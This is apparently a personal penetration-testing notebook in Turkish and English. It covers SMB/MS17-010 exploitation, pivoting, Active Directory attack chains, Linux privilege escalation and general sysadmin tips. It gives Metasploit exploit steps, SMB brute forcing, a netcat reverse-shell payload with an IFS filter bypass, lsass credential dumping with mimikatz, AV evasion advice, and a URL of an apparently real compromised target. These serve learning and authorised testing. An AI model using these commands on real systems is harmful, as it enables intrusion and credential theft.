# security is an illision

![there is no spoon.](https://3960614358-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LYxOr58iOR1nh40YKQW%2Fuploads%2FKeydYvPMR9i5xhFxMk0y%2Fxaxax.png?alt=media\&token=5f8e3703-163f-4dcd-ad1c-8b90c57919e9)

This repo contains various security notes. Actually most of them is so messy however ı thought you can find some tricks. At least, ı wanted to share because that's how I think about it.

{% content-ref url="/pages/-Lo4gFE1rEzqrafmI9L\_" %}
[from external network to domain admin](/post-exploitation/from-external-network-to-domain-admin)
{% endcontent-ref %}

{% content-ref url="/pages/-LaspMf1KUoY6tvGdY1Q" %}
[Authentication and Authorization](/teorik/authentication-and-authorization)
{% endcontent-ref %}

{% content-ref url="/pages/-LjPfWue2Ju9dtm1O4LP" %}
[Linux Operatorler](/linux/linux-operatorler)
{% endcontent-ref %}

{% content-ref url="/pages/-LjUjeObx4VC8v-MpIJk" %}
[IFS](/linux/ifs)
{% endcontent-ref %}


# Useful Blog Links

#### Linux & Windows Privilege Escalation;

{% embed url="<https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite>" %}

{% embed url="<https://lolbas-project.github.io/>" %}

{% embed url="<https://gtfobins.github.io/>" %}

{% embed url="<http://www.fuzzysecurity.com/tutorials/16.html>" %}

{% embed url="<https://github.com/StevenB23/PentesterOps/blob/master/pentester_guide2_Shells-PrivEsc-Pivoting.md>" %}

####

#### OSCP Formal RoadMap

{% embed url="<https://www.netsecfocus.com/oscp/2019/03/29/The_Journey_to_Try_Harder-_TJNulls_Preparation_Guide_for_PWK_OSCP.html>" %}

{% embed url="<https://sushant747.gitbooks.io/total-oscp-guide/list_of_common_ports.html>" %}

{% embed url="<https://book.hacktricks.xyz/>" %}

####

#### VulnHub Machines like OSCP

{% embed url="<https://github.com/six2dez/OSCP-Human-Guide>" %}

{% embed url="<https://www.abatchy.com/2017/02/oscp-like-vulnhub-vms>" %}

####

#### OSCP Generic

{% embed url="<https://github.com/Optixal/OSCP-PWK-Notes-Public/blob/master/README.md>" %}

{% embed url="<https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html>" %}

{% embed url="<https://github.com/gammathc/oscp_material/blob/master/oscp_notes.txt>" %}

{% embed url="<https://malikashish8.github.io/Walkthrough/notes/>" %}

{% embed url="<https://thashin.gitbooks.io/oscp-pen/file-transfers.html>" %}

{% embed url="<https://github.com/s0wr0b1ndef/OSCP-note/blob/master/PRIVESC/Windows/Windows_commands>" %}


# ad-101

Intro

Active Directory windows server 2000 ile beraber gelen bir networkte bulunan birçok varlığın (kullanıcı, makine, yazıcı, sunucular, mail ve dosya sunucular vb assetlerin) tek bir noktadan merkezi bir noktadan yönetilmesi için mikrosoft tarafından geliştirilen bir hizmettir.

Sunucuyu kurmak için 2012'den sonra "dcpromo" komutu kaldırıldı. Ancak dashboarddan kurulabilir.

İlk yapılacaklar;

1. Bilgisayarın adını değiştir. Daha anlaşılır bir isim(Local Server menüsünden)&#x20;
2. Sabit bir ip adresi ver. (Tavsiye edilen dns serverın dc de olması ancak başka sunucuda da dns kurulabilir.) \[Statik ip atadıktan sonra dns kısmına 127.0.01 yani local makine ip adresi verilir.]
3. Add rules and feature menüsünden "active directory domain services" seçilir.
4. Kurulduktan sonra reset makineye reset atılır.

İkinci aşamada yapılacaklar;

1. Active Directory kurulduktan sonra ad 'nin bulunduğu makineyi domain kontroller olarak belirlemek için ilgili ayara gidilir. İkinci aşamda var olana bir domaine veya ormana bir dc ekler. Veya tamamen yeni bir domain oluşturulabilir bu ayarlarda.
2. Forest'a Yeni domain ekle denilerek yeni domain için isim girilir. İsim en az 2 parça olmak zorundadır. Ve bu "." (nokta) sembolu ile ayrılır.
3. Restore(Kurtarma) Parolası belirlenir.
4. Kurulumdan sonra artık ADDS kurulmuştur.


# MS17-010

Nmap ile ms17-010 ve  ms08-067  zafiyetine sahip makineleri bulmak ve Exploit Etmek

> Öncelikle aşağıdaki nmap komutu ile eternal blue zafiyetine sahip makineler listelenir.
>
> ```
> nmap -p445 --script smb-vuln-ms17-010 <target>
> ```
>
> Zafiyetli makineler bulunduktan sonra metasploit ile expxloit etmek için aşağıdaki yönergeler uygulanmalıdır.
>
> * msf > use exploit/windows/smb/ms17\_010\_eternalblue.
> * msf > set payload windows/x64/meterpreter/reverse\_tcp
> * msf > set LPORT L\_PORT
> * msf > set LHOST L\_IP
> * msf > set RHOST R\_IP
> * msf > set RPORT R\_PORT
> * msf > rub

### ms17-010\_psexec metasploit modüle

```
msf > use windows/smb/ms17_010_psexec
msf > set RHOSTS IP
msf > set payload windows/meterpreter/reverse_tcp_rc4
msf > set RC4PAsSWORD  pass
msf > set LHOST KALI_IP
msf > set LPORT 443
msf > exploit
```

#### MS08-67

```
root@kali:~# nmap -v -p 139,445 --script=smb-vuln-ms08-067 --script-args=unsafe=1 IP
```


# SMB

Zayıf SMB Parolası Sonucu Makineye Sızma

Öncellikle smb brute force atılır.

> ```
> msf > use auxiliary/scanner/smb/smb_login
> msf > set RHOSTS 192.168.1.0/24
> msf > set SMBUser victim
> msf > set SMBPass s3cr3t
> msf > set THREADS 50
> msf > run
> ```
>
> Brute force sonucunda bir kullanıcıya ait smb bilgileri elde edildikten sonra psexec modülü kullanılarak diğer makinelere sıçramaya çalışılır.

```
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.57.133
msf exploit(psexec) > set LPORT 443
msf exploit(psexec) > set RHOST 192.168.57.131
msf exploit(psexec) > set SMBPass xx:xx
msf exploit(psexec) > exploit
```


# Post Exploitation Tricks

Windows post exploitation tricks

Pentest çalışmalarından biri olan dış testlerde web uygulamasında bulunan bir zafiyet sonucunda artık post exploitation süreci başlamış olur. Çoğu gerçek mimaride kritik yapıya sahip sunucular doğrudan internete/dışarıya erişimleri olmaz. Bu tür sunucular dışarıya erişimi olan başka sunucular üzerinden haberleşir. Bu durumda bir saldırganın yapacağı işlem ele geçirdiği sunucuyu bir pivot noktası olarak kullanıp burdan ele geçirdiği sunucunun bulunduğu networkdeki diğer makinelere sızması olacaktır.

Bu işlem için saldırgan öncellikle elde ettiği meterpreter oturumu üzerinden bir route tanımlaması gerekir. Ele geçirilen sunucunun haberleştiği diğer subnet bilgisine arp tablosu veya netstat komutuyla ulaşılabilir. route işlemi aşağıdaki komut ile yapılabilir

```
route add <dısardan-erisilmeyen-network> <subnet-mask> <meterpreter-session>
```

route eklendikten sonra artık belirlenen iç taraftaki subnette bulunan makinelere erişilebilir.&#x20;

Ancak işi daha da ileriye taşıyarak rdp nmap vb araçları ele geçirilen makineyi pivot olarak kullanmak şartıyla dışardan erişilebilir hale getirilir. Bunu ise proxychain uygulaması ve metasploitde bulunan auxiliary/server/socks4a modülü ile yapılabilir. Yönergeler aşağıdadır.

Öncelikle mevcut metasploit oturumu üzerinden bir socks proxy başlatılır. Bunu socks4a auxiliary moduluyle yapmak mumkundur.&#x20;

Daha sonra proxy chain uygulmasına socks proxy uygulamasının çalıştığı sunucucu ve ip bilgileri verilir. Bunun içinde /etc/proxtychains.conf dosyasının en alt kısmına aşağıdaki komut eklenir.

> socks4a IP PORT

artık proxychain uygulaması ile beraber çalışan tcp temelli tüm uygulamalar öncellikle metasploitin çalıştığı makineye ordan da tanımlanan route sayesinde hedef sistemde dışarıya kapalı olan subnetteki bir makineye gönderilir.


# DCOM/RPC

1. IIS üzerinden shell al.
2. IIS in yazabildiği dizini öğren.
3. patates.exe'yi karşıya yükle.
4. incognito'yu load et.
5. tokenlerı listele.
6. patates.exe'yi çalıştır.
7. SYSTEM kullanıcısına impersonete ol.

veya metasploitte bulunan aşağıdaki juicypotato'da kullanılabilir.

```
windows/local/ms16_075_reflection_juicy
```


# Basic Commands

```
Kullanıcıları listele
net user

Belirli Bir Kullanıcıyı Llistele
net user {USERNAME}

Local kullanıcı ekleme
net user {username} {Password} /add

Local kullanıcı Silme
net user {username} /del

Parola Değiştirme
net user {username} {New_Password}

Local grupları listeleme
net localgroup

Local grup üyelerini listeleme
net localgroup {GRUP_NAME}

Kullanıcıyı bir local gruba dahil etme.
net localgroup {GRUP_NAME} {USERNAME} /add

Kullanıcıyı bir local grubtan silme
net localgroup {GRUP_NAME} {USERNAME} /del

--

Domain Kullanıcılarını Listele
net user /domain

Domaindeki kullanıcıyı detaylarını listele
net user {USERNAME} /domain

Domain kullanıcısının parolasını değiştirme
net user {USERNAME} {PASSWORD} /domain

Domain kullanıcısını silme
net user {USERNAME} {PASSWORD} /domain /del

Domain gruplarını listeleme
net group

Bir domain grubun kullanıcılarını listeleme
net group {DOMAIN_GRUP_NAME}

Domaine kullanıcı ekleme
net user {USERNAME} {PASSWORD} /domain /add

Bir kullanıcıyı Domain grubuna dahil etme
net group {DOMAIN_GRUP_NAME} {USERNAME} /add /domain

Domain grubundan kullanıcı silme
net group {DOMAIN_GRUP_NAME} {USERNAME} /del /domain
```


# SMB Enumeration

SMBEnumeration Checklist

{% embed url="<https://0xdf.gitlab.io/2018/12/02/pwk-notes-smb-enumeration-checklist-update1.html#samba>" %}


# SUID Set Edilmiş servicectl Abuse Etme

Eğer bir linux dağıtımında servicectl processine suid bit set edilmiş ise bir saldırgan kendi servisini oluşturarak bu service üzerinden privesc. yapıp root haklarına yükselebilir. Service dosyaları ".service" uzantısı ile bitmek zorundadır.  Örnek bir service dosyası (myservice.service)

```
[Service]
Type=simple
ExecStart=/bin/bash /tmp/test.sh
 
[Install]
WantedBy=multi-user.target
```

Örnek test.sh dosyası ise aşağıdaki gibi olabilir.

```
nc IP PORT -e /bin/bash
```

servicectl komutu tarafından oluşturduğumuz servisi çalıştırmak için `/etc/systemd/system` dizini içersine ".service" ile biten dosyayı atmalıyız. Eğer yazma izni yoksa o zaman linkleyerek de bu durumu çözebiliriz.

\*\* aşağıdaki komuta service dosyası yolu belirtilirken "full path" bilgisi verilmelidir.

> systemctl link /tmp/myservice.service

Oluşturduğumuz servisi başlatmak için(.service uzantısını yazmak zorunda değiliz);

> service start myservice.service

Servisi başlatıktan sonra belirtiğimiz .sh dosyası çalıştırılarak root haklarında belirlenen IP adresine shell düşer.


# sudoers dosyası bozulursa?

vim, nano vs. editörler ile sudoers dosyası bozulursa nasıl düzeltilir?

sudoers dosyasının bozulması yani syntax'dan kaynaklı bir hata vermesi hiçbir şekilde sudo komutunun kullanılamayacağı anlamına gelir. sudo komutu çalıştırılamadığından dolayı "sudo visudo" veya "sudo vim /etc/sudoers" gibi komutlarla sudoers dosyası açılarak tekrar editlenemez.&#x20;

Sadece sudoers dosyasına yönelik düzenlemeler değil, sistemde hiçbir değişiklik yapılamaz. Çünkü sudo komutu sudoers dosyasındaki syntax hatasından dolayı çalışmayacaktır. Her sudo komutu ile komut çalıştırılmaya çalışıldığında aşağıdaki hata alınacaktır.

> /etc/sudoers: syntax error near line 20&#x20;
>
> sudo: parse error in /etc/sudoers near line 20

> sudo: no valid sudoers sources found, quitting&#x20;
>
> sudo: unable to initialize policy plugin

`Not: Bu noktada visudo gibi bir komutun neden var olduğunu daha net bir şekilde anlıyoruz. visudo komutu sudoers gibi sistem dosyalarının editlenmesi sırasında syntax'a aykırı bir yazım olursa hiçbir şekilde dosyayı kaydetmeye izin vermeyecektir.`

Eğer sistemde root kullanıcısı tanımlanmamış veya root'a ait parola bilinmyorsa o zaman geriye birkaç alternatif yol mevcuttur. Bunlardan bazıları hizmet alınan cloud servisinin sunduğu imkanlardır. Yada makineye fiziksel erişim söz konusu ise boot edilme esnasıda sistem dosyaları üzerinde değişiklik yapılabilir. Yada live cd takıp "sudoers" dosyası eski haline getirilebilir. Bu yolların bir çoğu fiziksel erişim istemektedir veya cloud servisinin size sunduğu hizmetlere bağlıdır.

Ancak çok daha kolay bir yöntemi anlatacağız.

1. Öncellikle aynı kullanıcıya ait aynı makinede 2 ssh oturumu açıyoruz.
2. İlk ssh oturumunda "echo $$" komutu ile o an çalışan bash'e ait proccess numarasını elde ediyoruz.
3. Daha sonra 2. ssh oturumunun açıldığı makinede " `pkttyagent --process (1. ssh oturumundaki bash'in pid değerini giriyoruz)`
4. Daha sonra 1. ssh oturumuna gelip `pkexec visudo`yazıyoruz. Bunu yazınca 2. ssh oturumunun açık olduğu terminalde bizden parola bilgisi isteyecek. Parola bilgisini doğru girdiğimizde ise 1. ssh oturumunun açık olduğu terminalde "sudoers" dosyası açılacak. Artık editleyebiliriz.<br>

Hayat kurtaran bilgi, benim için ;)


# SSH Welcome Message and Banner

Login Öncesi ve Sonrası Mesajlar

Login işleminden önce ssh uyarı mesajları kullanılabilir. Bu uyarı mesajları "/etc/issue" ve "/etc/issue.net" dosyalarında bulunmaktadır. Eğer kendi özel banner dosyanızı hazırlamak isterseniz "/etc/ssh/sshd-banner" adınad bir dosya oluşturabilirsiniz. Bu dosyaların içeriği authentication öncesi ekranda gösterilir.

/etc/ssh/banner adında bir dosya oluşturduktan sonra ssh'ı konfigrasyon dosyası olan /etc/ssh/sshd\_config dosyasına "Banner /etc/ssh/banner" şeklinde bir satır eklenerek banner bilgimizin pathi belirtilir. ssh servisi yeniden başlatıldıktan sonra artık parola öncesi bu mesaj görünecektir.

Bir diğer mesaj türü ise welcome mesajlarıdır. Bu mesaj ssh oturumunu başarıyla açtıktan sonra çıkan mesaj türüdür.

SSh başarılı authentication sonrası "/etc/motd" dosyasının içeriğini terminale basmaktadır. Bu dosyanın içeriği değiştirilerek istenilen mesaj yerleştirilebilir.


# pkexec ve pkttyagent

Başka kullanıcı haklarında bir programı çalıştırmak.

## pkexec

"pkexec" komutu ile bir programı başka bir kullanıcının hakkında çalıştırabiliriz.

synopsis;

> pkexec --user \<username> program&#x20;
>
> Örnek;
>
> pkexec --user musana cmatrix
>
> Yukarıdaki komut ile cmatrix programı musana kullanıcısı tarafından başlatılmış olacak.

### pkttyagent

pkttyagent ise metin tabanlı doğrulama mekanizmasıdır. pkttyagent programına "--process" komutu vasıtasıyla hangi process verilmiş ise o process için authentication istenildiği zaman pkexec bunu yakalar. Bu durum için iki terminalin açık olması gerekir.(veya ssh oturumu.)


# vipw , vigr , visudo

Linux'da kritik öneme sahip dosyalar editlenirken (önerğin passwd, sudoers, group) bu işlem için metin editörlerinin root yetkisiyle açılıp bu dosyaların editlenilmesi kesinlikle \*tavsiye edilmez.\* Çünkü olası bir syntax hatasından dolayı sistemi geri getirilemez şekilde bozulması söz konusu olabilir. İşte bu tür tehlikeleri sularda güvenli bir şekilde yüzebilmek için linux camiasındaki insanlar bu kritik dosyaların editlenilmesi gerektiği durumlarda bunlar için özel programlar yazarak, bu programlar aracılığıyla bu tür dosyaların düzenlenilmesini şiddetle tavsiye etmektedirler. Bize de uyan tavsiyeye kulak vermek tabiki.

$sudo vipw --> /etc/passwd dosyasını editlemek için

$sudo vigr --> /etc/group dosyasını editlemek için

$sudo visudo --> /etc/sudoers dosyasını editlemek için.

Bu programların bize sunduğu en büyük avantaj eğer bu tür kritik dosyaları editlediğimizde bir syntax hatası yapmış isek kesinlikle bu dosyayı hatalı bir syntax ile kaydetmemize izin vermemeleridir. Tüm olay bu esasında.


# IP Forwarding

> \#echo 1 > /proc/sys/net/ipv4/ip\_forward&#x20;
>
> veya
>
> \#net.ipv4.ip\_forward = 1


# İki NIC Arasında Port Yönlendirme

Paketlerin kernel tarafından yönlendirilmesini aktifleştirmek için;

```
# echo 1 > /proc/sys/net/ipv4/ip_forward
```

Yada aşağıdaki komut da eşdeğerdir,

```
net.ipv4.ip_forward = 1
```

Aşağıdaki komut ile eth0 interfacenin belirlenen ip'nin belirlenen portuna gelen trafiği diğer nic'de bulunan (yani private olan nic'in)dinamik nat ile belirlenen ip'nin belirnen portuna trafik yönlendirilecektir.

`iptables -t nat -A PREROUTING -i eth0 -d 178.128.243.215 -p tcp --dport 8001 -j DNAT --to-destination 10.8.0.2:8001`

Aşağıdaki komutla tüm kurallar listelenebilir.

```
iptables -t nat -L -n -v
```


# tasksel

Tasksel bir linux distrosunu belli bir amaç için kullanabilecek şekilde paket uygulamaları, bağımlılıkları vs yükler. Tasksel içinde mevcut olan bir çok uygulama vardır. lamp, ubuntu-gui, dns vb. tek seçimle kurulur hale getirmektedir.

"apt install tasksel" ile kurulur.

Mevcut taskleri görmek için;

tasksel --list-task

Task kurmak için;

sudo tasksel install lamp-server

Alternative olarak task kurmak için;

sudo apt install lamp-server^\
\- Sonraki caret(^) işereti bunun tasksel yardımıyla kurulacağını belirtir.

Task'lar aşağıda belirtilen dosya içerisinde tanımlanmıştır.

```
grep Task /usr/share/tasksel/ubuntu-tasks.desc
```


# LAMP

Installing LAMP

1. apt update
2. apt install lamp-server^
3. apt install phpmyadmin -y
4. mysql -u root -p
5. CREATE USER 'dba'@'%' IDENTIFIED BY 'toor';
6. `GRANT ALL PRIVILEGES ON *.* TO 'dba'@'%' WITH GRANT OPTION;`

\*\* tasksel yüklü olmalı. lamp-server sonunda bulunan şapka işareti tasksell manasına gelir.

### manuel

```
sudo apt-get update
sudo apt-get upgrade -y

sudo apt-get install apache2 -y
sudo a2enmod rewrite
sudo service apache2 restart
	
sudo apt-get install php libapache2-mod-php -y

sudo apt-get install mariadb-server mariadb-client php-mysql -y
sudo service apache2 restart

sudo apt-get install phpmyadmin -y

(phpmyadmin user: phpmyadmin - pass: you selected during installation)
```


# Find All SUID Bit

```
find / -perm -u=s -type f 2>/dev/null
```


# Linux Operatorler

Özel Operatörler

`komut1 | komut2` komut1'in doğru çalışıp çalışılmadığına bakılmaksızın, önce ve sadece komut2'yi çalıştırır.

`komut1 ; komut2` komutları sırasıyla çalıştırır. Komut1 başarılı olsa çalıştırır, başarısız olsa hata verir ancak yinede komut2 yi çalıştırır. Komut

`komut1 || komut2` komut1'in başarısız olması durumunda komut2 çalışır. Eğer komut bir başarılı çalışır ise komut2 çalıştırılmaz. Eğer zincirleme komut kullanılırsa bu durumda soldan sağa karşılaştığı ilk doğru komutu çalıştırır. Yani; `hatali_komut1 || hatali_komut2 || dogru_komut3 || hatali_komut4` bu durumda sadece `dogru_komut3` çalışır. Eğer birden fazla doğru komut varsa soldan sağa komutlar işlenirken ilk karşılaştığı doğru komutu tek çalıştırır. Lojik mantıktaki "veya" önermesidir.

`komut1 && komut2` komut1'in başarılı çalışması durumunda komut2 çalıştırılır. Eğer komut1 hatalı ise her iki komutta çalışmaz. Zincir gibi komutları birbbine bağlayabiliriz. Lojik mantıktaki "ve" önermesinin "true" olma şartıdır.

`$(komut)` komut ifadesini çalıştırır. Örneğin "echo $(whoami)" çıktı olarak kullanıcı adını verir.

`(kirli tırnak)`' kirli tırnak arasındaki ifade komut olarak yorumlanır.

`>(komut)`ifadesi ve `<(komut)` ifadeleride komut olarak çalıştırılır.


# IFS

Internal Field Seperator

IFS kullanılan shell(kabuğun) bir kelimenin nerde bağlayıp, bittiğini anlamak için kullanılmaktadır. Varsayılan değeri \<boşluk>\<tab>\<yeni satır> 'dır. Bu ifadenin sahip olduğu değere bağlı olarak kullandığımız shell kelimeleri nerden ayıracağını belirleyebilir.

`echo "$IFS" | cat -vte komutu ile bunları printable olarak görebiliriz.`

veya aşağıdaki ifade de non-printable olan karakterleri görebilmemizi sağlar.

`printf "%q" "$IFS"`

`IFS ifadesi aynı zamanda komutları veya komut ile parametreyi birbirinden ayırmak içinde kullanılabilir. Örneğin aşağıdaki komut pek ala çalışacaktır.(space karakterinin filtreli olduğu yerlerde bu yöntem kullanılarak bypass işlemi yapılabilir.)`

```
nc${IFS}-l${IFS}-p1337${IFS}-e/bin/sh
```


# Ssh Public Key Tricks

Bir zafiyet istismar edilerek bir makine üzerindeki kullanıcı shelline düşerken ssh bağlantısı yapmak isteyebiliriz. Shell ortamının sunduğu imkanlardan dolayı. Bu durumda elde ettiğimiz kullanıcının parola bilgisine sahip olmalıyız. Ancak parola bilgisi olmadığı için ssh oturumu alamamaktayız.&#x20;

Bu tarz bir senaryo karşısında home dizininde .ssh klasörü oluşturulup içine "authorized\_keys" dosyası oluşturulur. "authorized\_keys" dosyasının içine ssh-keygen ile üretilen "public" anahtarın değeri girilir.

> echo "PUBLIC KEY" >> authorized\_keys

Bu işlemden sonra artık ssh komutuna "-i" parametresi verilerek rsa anahtarıyla giriş yapılabilir.


# Local & Remote Port Forwarding

**SSH Local Port Forwarding**

```
ssh user@RemoteIP -L LocalPort:RemoteIP:RemotePort
```

`localhost:LocalPort --> RemoteIP:RemotePort` &#x20;

&#x20;**Windows Local Port Forwarding**&#x20;

```
For Add;
netsh interface portproxy add v4tov4 listenaddress=127.0.0.1 listenport=LocalPort connectaddress=RemoteIP connectport=RemotePort

For delete;
netsh interface portproxy delete v4tov4 listenaddress=127.0.0.1 listenport=LocalPort
```


# Linux Priv Esc

## SUID BIT

```
# find / -perm -4000 -exec ls -al -print 2>/dev/null {} \;
```

## Sudo Check

```
# sudo -l (Kullanıcının çalıştırmaya izni olan/olmayan komutlar)
# sudo -l -U <User> (Belirtilen kullancının izni olan/olmayan komutlar)
```

## Check Tools

[linuxprivchecker.py](https://www.securitysift.com/download/linuxprivchecker.py)&#x20;

[unix-privesc-check.py](https://tools.kali.org/vulnerability-analysis/unix-privesc-check)&#x20;

[LinEnum](https://github.com/rebootuser/LinEnum)

### zip priv esc

```
sudo zip exploit.zip exploit -T --unzip-command="python -c 'import pty; pty.spawn(\"/bin/sh\")'"
```


# Static IP

Edit the `/etc/dhcpcd.conf` file.

```
interface wlan0
static ip_address=192.168.0.99
static routers=192.168.0.1
static domain_name_servers=1.1.1.1
```

### DHCP

Edit the `/etc/network/interfaces` file.

```
auto eth0*
iface eth0 inet dhcp

# * your interface.
```


# from external network to domain admin

Bu senaryo dışa açık web uygulamsından domain admin senaryosunu kapsamaktadır.

1. Öncellikle web uygulamasında bulunan zafiyet sonucunda içeriye web shell atılır. Web uygulamasının çalıştığı sunucuda sadece 80 ve 443 portları dışarıya açıktır.
2. Web uygulamasına web shell atıldıktan sonra içeriden bilgi toplamak için web shell üzerinden web config dosyaları okunabilir. Administrator haklarına sahip kullanıcının parolası web.config dosyalarında bulunabilir.
3. Web uygulamasının bulunduğu sunucuya rdp ile bağlanabilmek için RDP trafiğinin 80 portu üzerinden gönderilmesi gerekir. Bunun için tunna aracı kullanılabilir. Bu araç sunucuya yüklenen(conn.aspx/php) bir aspx/php dosyası üzerinden http trafiğini alır ve içerde RDP portuna yönlendirir. Aracı çalıştırmak için aşağıdaki örnek komut kullanılabilir.
4.

```
> python proxy.py -u "[http://DOMAIN/PATH/conn.aspx](http://miy.tki.gov.tr/BasvuruTalepDosyalari\conn.aspx)" -l 4444 -r 3389 -v
```

```
Yukarıdaki komut basit ifadeyle localhost'un 4444 portuna gelen trafiği conn.aspx/php dosyası üzerinden sızılan sunucunun 3389 portuna yönlendirir.
```

5\. Artık sunucuya RDP üzerinden oturum alınabilir. Oturum almak için windowsta bulunan RDP client'ı üzerinden veya linux'de bulunan xfreerdp gibi araçlar kullanılabilir. `xfreerdp /u:"user_name" /v:localhost:4444` komutu xfreerdp için kullanılabilir.
6\. Sunucudan RDP oturumu alındıktan sonra eğer 'Administrator' grubunda isek doğrudan lsass.exe processinin dump'ını alarak kendi makinemize çekebiliriz. Dump'ı aldıktan sonra mimikatz aracı kullanılarak sızılan sunucuda oturum açmış kullanıcılara ait clear-text veya parola özetlerine ulaşılabilir.
7\. mimikatz aracına lsass processinin dump dosyasını verip, giriş yapan kullanıcıları bulmak için aşağıdaki komutlar verilmelidir.&#x20;

1. > privilege::debug
   >
   > sekurlsa::minidump \<dump\_file\_name.DMP>
   >
   > sekurlsa::logonpasswords

2. Eğer makineden GUI olarak oturum alınamıyor ise komut satırı üzerinde procdump aracı ile herhangi processin dump'ı alınabilir. Bu işlem için procdump aracı hedef sunucuya atıldıktan sonra aşağıdaki komutlar çalıştırılmalıdır.&#x20;
   1. > procdump.exe -ma lsass.exe lsass.DMP

   2. Yukarıdaki komut ile lsass processinin dump'ı alınarak lsass.DMP dosyasına yazılır. Daha sonra 7. adımda bulunan mimikatz komutu kullanılarak giriş yapan kullanıcılara ulaşılabilir.

### Ağda Bulunan Diğer Sunuculara Sıçrama

* Yukarıdaki senaryo ele geçirilen makine üzerinden bilgi toplamayı kapsamaktadır. Sızma testlerinde amaç erişilebilecek maximum sunucu sayısı olduğundan networkde bulunan diğer sunucularada sızılmaya çalışılmalıdır. Bu bağlamda dışarıya kapalı olan bu sistemlere erişim ancak ele geçirilen hedef sunucunun proxy olarak kullanılmasıyla mümkün olmaktadır. Bu bölümde ele geçirilen sunucunun proxy olarak kullanılarak networkdeki diğer kaynaklara erişmeyi kapsamaktadır.

1. Ele geçirilen sunucu üzerinden meterpreter oturumu alınmalıdır. Bu işlem için meterpreter backdoor'u oluşturularak doğrudan web shell üzerinden yüklenebilir. Bu durumda bazı alt senaryola doğabilir. Örneğin;
   1. msfvenom ile backdoor oluşturularak web shell üzerinden sisteme yüklenebilir.
   2. web delivery modülü kullanılarak meterpreter oturumu alınabilir.
   3. sunucuda bulunan güvenlik cihazları meterpreter zararlısını yakalayabilir.
      * Bu durumda meterpreter yazılımı encoding işleminden geçirilmelidir veya güvenlik yazılımları atlatmak için başka evasion teknikleri kullanılmalıdır.
      * Sunucuda bulunan güvenlik yazılımında exclusion verilen dizinler bulunarak zararlı bu dizinlere yüklenebilir.

2. Meterpreter oturumu başarılı bir şekilde alındıktan sonra dışardan erişilmeyen makinelerin bulunduğu ip bloğu için route kuralı eklenmelidir. Literatürdeki adıyla ele geçirilen sunucunun pivot olarak kullanılması diye geçer.

3. Route işlemi için meterpreter oturumu background'a alındıktan sonra metasploit shell'inde iken aşağıdaki komut ile route kuralı yazılabilir.
   1. > `route add <dışarıdan erişilmeyen IP>  <erişilmeyen blok için subnet> <meterpreter session id`
      >
      > * `route add 192.168.1.0 255.255.255.0 2`
      >
      > `Tek bir ip adresine ait yönlendirme yapılacak ise aşağıdaki şekilde ifade edilebilir.`
      >
      > * `route add 192.168.1.42 255.255.255.255 2`

4. Yönlendirme işlemi yapıldıktan sonra metasploit bünyesinde bulunan auxiliary modülü olan socks4a kullanılarak sunucuda bir sock proxy servisi başlatılır. Bu işlem için;
   1. > use auxiliary/server/socks4a
      >
      > set RHOST \<your ip>
      >
      > set RPORT \<your port>
      >
      > run

5. Socks servisi başlatıldıktan sonra sock servisinde belirtilen porta istekleri yönlendirmek için bir proxy uygulaması kullanılmalıdır. Bu işlem için `proxychains` kullanılabilir. Bunun için `/etc/proxychains.conf`dosyasının en altında `socks4 IP PORT` bilgisi girilmelidir. Böylece proxychain ile başlatılan bütün uygulamaların trafiği belirtilen IP:PORT a yönlendirilecektir. Ordan da yazdığımız route kuralına göre dışardan erişemediğimiz networke iletilir.

6. Socks servisi başlatılıp proxychains konfigüre edildikten sonra metasploit uygulaması `proxychains msfconsole -q` ile başlatılır. Artık metasploit'e ait tüm trafik proxychainde belirtilen IP:PORT' yönlendirilir ordan da hedef sistemin içinde olduğu network'e.

7. Bu aşamadan sonra artık ms17-010 ve smb\_login modülleri ile içerde 'lateral movement" yapılarak domain admin'e ulaşılmaya çalışılır.

(smb\_login ve ms17-010 ve session başlatılmama payload değiştirme gibi trickler yazılacak.)

1. Yu


# post exp 2

###

Hedef web uygulamasına `dirbuster` başlat. (**wordlist**: /usr/share/dirbuster/wordlist/directory-list-1.0.txt)

HTTP basic auth mekanizmasına brute-force saldırısı yap. Bu işlem için cewl aracını kullan.

```
cewl domain.com -m 6 -w /root/file.txt 2 > /dev/null
```

> hash-identifier aracını kullanılan hash algoritmasını öğrenmek için kullanılabilir.

Kullanılan web uygulamasına ait exploit googledan araştırılır.

`python -c 'import pty; pty.spawn("/bin/bash")'`\
`EXPORT TERM=linux`

OS info;\
`cat /etc/issue`

Priv. esc. için googledan exploit aratılır. (`gimmeroot.c`)

Root olduktan sonra `.htaccess` dosyasından izin verilen ip adresleri öğrenilir.

> post/windows/gather/enum\_domain domain adı ve DC adına ait bilgileri getirir. Aşağıdaki komut DC'de bulunan grup policy dosyasını bulmak için kullanılır. Grup policy dosyasında kullanıcıya ait parola bilgisi yer alabilir. net use z: \MACHINE\_IP\SYSVOL

Grup policy dosyasında bulunan parola `gpp-decrypt` aracı kullanılarak kırılabilir.

### Port Forwarding ve Routing Meterpreter

Meterpreter oturumu elde edilen makine üzerinde meterpreter backgrounda alındıktan sonra aşağıdaki komut yardımıyla route kuralı tanımlanır.

```
msf > route add TARGET SUBNET METERPRETER_SESSION
```

Meterpreter oturumu elde edilen makinenin 445 portuna gelen trafiği "X.X.X.X" ip adresinin 445 portuna yönlendir.

```
meterpreter > portfwd add -l 445 -p 445 -r X.X.X.X
```

### winexe

```
# winexe -U Administrator%Password //IP "cmd"
```


# Temel Komutlar ve Araçlar

### Dosya/Dizin Arama

```
# find / -name musana* -type [d,f] -exec file {} \;
```

### Servisler

```
# service [apache2, ssh, postgresql] [start,restart,stop]

# /etc/init.d/apache2 restart
```

> Servislerin kalıcı olarak çalıştırılması(reboot olduktan sonra bile oto başlama)

```
# update-rc.d ssh enable
# update-rc.d apache2 enable
# rcconf (manage over gui)
```

### Bash

```
# cat index.html | grep "href=" | cut -d "/" -f 3 | grep "domain\.com" | cut -d '"' -f 1

# for url in $(cat ip.txt); do host $url; done

# for ip in $(seq 130 160); do ping -c 1 192.168.1.$ip done
```

## Araçlar

### rdesktop

```
# rdesktop -u offsec -p Password IP
```

### Netcat

Banner Grabbing;

```
# nc -nv IP PORT
```

File Transfer;

```
# nc -nv IP PORT </usr/share/wordlist/test.txt (Sender)

# nc -nvlp PORT > incoming.txt (receiver)
```

#### Command Execution;

